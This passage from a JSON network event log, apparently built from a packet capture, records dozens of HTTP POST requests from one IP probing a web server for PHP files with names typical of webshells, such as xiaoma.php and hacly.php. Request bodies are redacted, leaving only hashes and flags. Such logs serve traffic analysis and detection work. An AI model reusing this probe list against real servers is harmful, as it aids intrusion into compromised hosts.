            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/uu.php",
            "http.response_in": "1723",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/uu.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-741c71c8549eab46078e29db",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "dc5eda42292e02c4bd0661d61a85656c9cfc498fc84df0e3fc39c11d5e975489",
          "frame_number": 1722,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577256145.914594000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/a.php",
            "http.response_in": "1726",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/a.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-d224d54c9095d3add70fa967",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "e100603116e2ef5ad761bb07fe2eda8bab6ef2525c5d9647b6108f8be84a7c2a",
          "frame_number": 1725,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577256150.280184000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/aaa.php",
            "http.response_in": "1729",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/aaa.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-3c36d943d8b127f73ac7cf41",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "e100603116e2ef5ad761bb07fe2eda8bab6ef2525c5d9647b6108f8be84a7c2a",
          "frame_number": 1728,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577256150.548389000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/wb.php",
            "http.response_in": "1732",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/wb.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c33a98957f42d30ce9746f43",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "363b45ef36c4b422e2343990313f4920dfab48b6e2336548d09257541f4e2659",
          "frame_number": 1731,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577256150.816732000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/yj.php",
            "http.response_in": "1735",
            "http.content_length": "20",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/yj.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-852efca73fdd0857e257d1ee",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "45ecec3bdf32d519c20bd147b7b36a42c802ee3d33ca614cdfa667c82e4d8a60",
          "frame_number": 1734,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 20,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 20,
          "timestamp_epoch": "1577256151.084050000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/z.php",
            "http.response_in": "1738",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/z.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-6564ab78a29579dbaab90e1d",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "ecf7fe3c44cf97fe0fe76364fc5c699afa7a5414ff339cde92d3ff1b5b00a42b",
          "frame_number": 1737,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577256155.780227000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/7.php",
            "http.response_in": "1741",
            "http.content_length": "24",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/7.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-604efbec350a3dd938d76070",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "57a6db8da84404a4fc276685b85b3ed3f6bfa2b62cc9e98c2fe62734d78f6444",
          "frame_number": 1740,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 24,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 24,
          "timestamp_epoch": "1577256156.556385000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/xiaoma.php",
            "http.response_in": "1744",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/xiaoma.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-7e352a60328112d888951f03",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "f5cbe4a6f56982e8cb5aa5c59c396cd2e3a556aa7701781787471eb89abb67cc",
          "frame_number": 1743,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256156.823622000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/xiaomae.php",
            "http.response_in": "1746",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/xiaomae.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-1a75f11f0633987740f0969a",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "f5cbe4a6f56982e8cb5aa5c59c396cd2e3a556aa7701781787471eb89abb67cc",
          "frame_number": 1745,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256158.280211000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/xiaomar.php",
            "http.response_in": "1749",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/xiaomar.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-240a9492afd91164dd57c06c",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "f5cbe4a6f56982e8cb5aa5c59c396cd2e3a556aa7701781787471eb89abb67cc",
          "frame_number": 1748,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256161.389162000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/qq.php",
            "http.response_in": "1752",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/qq.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-d56293134e163af6acf537ab",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "f5cbe4a6f56982e8cb5aa5c59c396cd2e3a556aa7701781787471eb89abb67cc",
          "frame_number": 1751,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256162.146081000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/data.php",
            "http.response_in": "1756",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/data.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-bd4c882eadeb1d0f8bd932c5",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "f5cbe4a6f56982e8cb5aa5c59c396cd2e3a556aa7701781787471eb89abb67cc",
          "frame_number": 1754,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256165.009056000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/log.php",
            "http.response_in": "1759",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/log.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-10430ce151cd83a99a572e89",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "97b5a403ad7aed9ac226d5612ae914e6a9b814c3d96107a970f4dc42bc422293",
          "frame_number": 1758,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577256169.753584000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/fack.php",
            "http.response_in": "1762",
            "http.content_length": "20",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/fack.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e9c5dc6bb0c0d509e064573f",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "69b8076030fcadb25b8153706a27ad847ffbb8af4e00f178019f67731c688c20",
          "frame_number": 1761,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 20,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 20,
          "timestamp_epoch": "1577256170.060043000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/angge.php",
            "http.response_in": "1765",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/angge.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-1d43366e6b8938d49ba38496",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "3fd00b82d4e7698a68bcbf4d94505a71aad3fa59a9600cdff34afc868b70c025",
          "frame_number": 1764,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256173.670844000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/cxfm666.php",
            "http.response_in": "1768",
            "http.content_length": "25",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/cxfm666.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-faba0cbbf5356704fdc8ea93",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "fa93c862accf27f008bdc88f5621a8cd682f07c664a536a3fdd209ce55c3845f",
          "frame_number": 1767,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 25,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 25,
          "timestamp_epoch": "1577256173.943772000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/db.php",
            "http.response_in": "1771",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/db.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-34222ed3b3e49477139fec26",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "b5d199a29ed5574aca9a69f0c7d1fe5c1a6de1cda7f329bf4956aeef31f97e7a",
          "frame_number": 1770,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256174.689860000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/hacly.php",
            "http.response_in": "1774",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/hacly.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-5d721809386a5b36b9d6bf08",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "b3917c59ece41f1e331c499cd527251b0d8ef6b9ae64b6dea951d58a8a6a1c12",
          "frame_number": 1773,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256178.780363000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/xiaomo.php",
            "http.response_in": "1784",
            "http.content_length": "20",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/xiaomo.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-15ab16c69cef1cf59e336821",
          "src_port": 50940,
          "tcp_stream": 56,
          "udp_stream": null,
          "body_sha256": "3171503cd3eb4ced940a1d0ef36312eca824a055b66bc54ce295a2433a165e25",
          "frame_number": 1782,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 20,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 20,
          "timestamp_epoch": "1577256185.800545000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/xiaoyu.php",
            "http.response_in": "1788",
            "http.content_length": "20",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/xiaoyu.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-279f6947f1b0da7b46328191",
          "src_port": 50940,
          "tcp_stream": 56,
          "udp_stream": null,
          "body_sha256": "dbf0d0abe58f7dd74438929ab8dea07e5bf6beb6b648667e3c76fbd10f825db0",
          "frame_number": 1787,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 20,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 20,
          "timestamp_epoch": "1577256187.733988000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/xiaohei.php",
            "http.response_in": "1791",
            "http.content_length": "25",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/xiaohei.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b9088813a072c5408694fada",
          "src_port": 50940,
          "tcp_stream": 56,
          "udp_stream": null,
          "body_sha256": "968ffc30a7b3869cabb69b414a6e9cddeb9c0cbfb3fb98d7b15ae29fd5ec66a7",
          "frame_number": 1790,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 25,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 25,
          "timestamp_epoch": "1577256188.034848000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/qq5262.php",
            "http.response_in": "1794",
            "http.content_length": "24",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/qq5262.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-7a5afced0403e935f1f472c3",
          "src_port": 50940,
          "tcp_stream": 56,
          "udp_stream": null,
          "body_sha256": "c167ff44fed14c30dd6e0fee4907bafec8f7cd21b99f2b2171c0c524a2e68aba",
          "frame_number": 1793,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 24,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 24,
          "timestamp_epoch": "1577256189.061901000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/lost.php",
            "http.response_in": "1797",
            "http.content_length": "26",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/lost.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-6b9c2c376b6e2ed57f558c4e",
          "src_port": 50940,
          "tcp_stream": 56,
          "udp_stream": null,
          "body_sha256": "f67a132d9c7574f5a220c353a44a9c831f36a55de24b0205967d8c82e74cd2ac",
          "frame_number": 1796,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 26,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 26,
          "timestamp_epoch": "1577256189.393159000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/php.php",
            "http.response_in": "1800",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/php.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-5af13b2063fd6d07f7903754",
          "src_port": 50940,
          "tcp_stream": 56,
          "udp_stream": null,
          "body_sha256": "1b0788ffeb11a35f6baec1be34ee2d65c8da1611422dc0d063c0cc38ef38c049",
          "frame_number": 1799,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577256189.879792000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/win.php",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/win.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-d6568368a3b65a646f8802aa",
          "src_port": 50940,
          "tcp_stream": 56,
          "udp_stream": null,
          "body_sha256": "11ad503e7b0f728f45d3d3c346e516ffca7aa49aefe5634575fb27fb80b5e6cf",
          "frame_number": 1803,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256195.137126000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/win.php",
            "http.response_in": "1813",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/win.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e58b40ce268c11e0e9fb8933",
          "src_port": 52505,
          "tcp_stream": 57,
          "udp_stream": null,
          "body_sha256": "11ad503e7b0f728f45d3d3c346e516ffca7aa49aefe5634575fb27fb80b5e6cf",
          "frame_number": 1811,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256195.426556000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/win1.php",
            "http.response_in": "1816",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/win1.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-574b016131009ee276aae2af",
          "src_port": 52505,
          "tcp_stream": 57,
          "udp_stream": null,
          "body_sha256": "11ad503e7b0f728f45d3d3c346e516ffca7aa49aefe5634575fb27fb80b5e6cf",
          "frame_number": 1815,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256195.704673000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/linux.php",
            "http.response_in": "1819",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/linux.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-3db6e6f88139b7843828519b",
          "src_port": 52505,
          "tcp_stream": 57,
          "udp_stream": null,
          "body_sha256": "8080b02949fe6bf56a51b1bc0df1dce317643e7da34b4ff1ef91037adea96571",
          "frame_number": 1818,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256195.981178000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/linux1.php",
            "http.response_in": "1822",
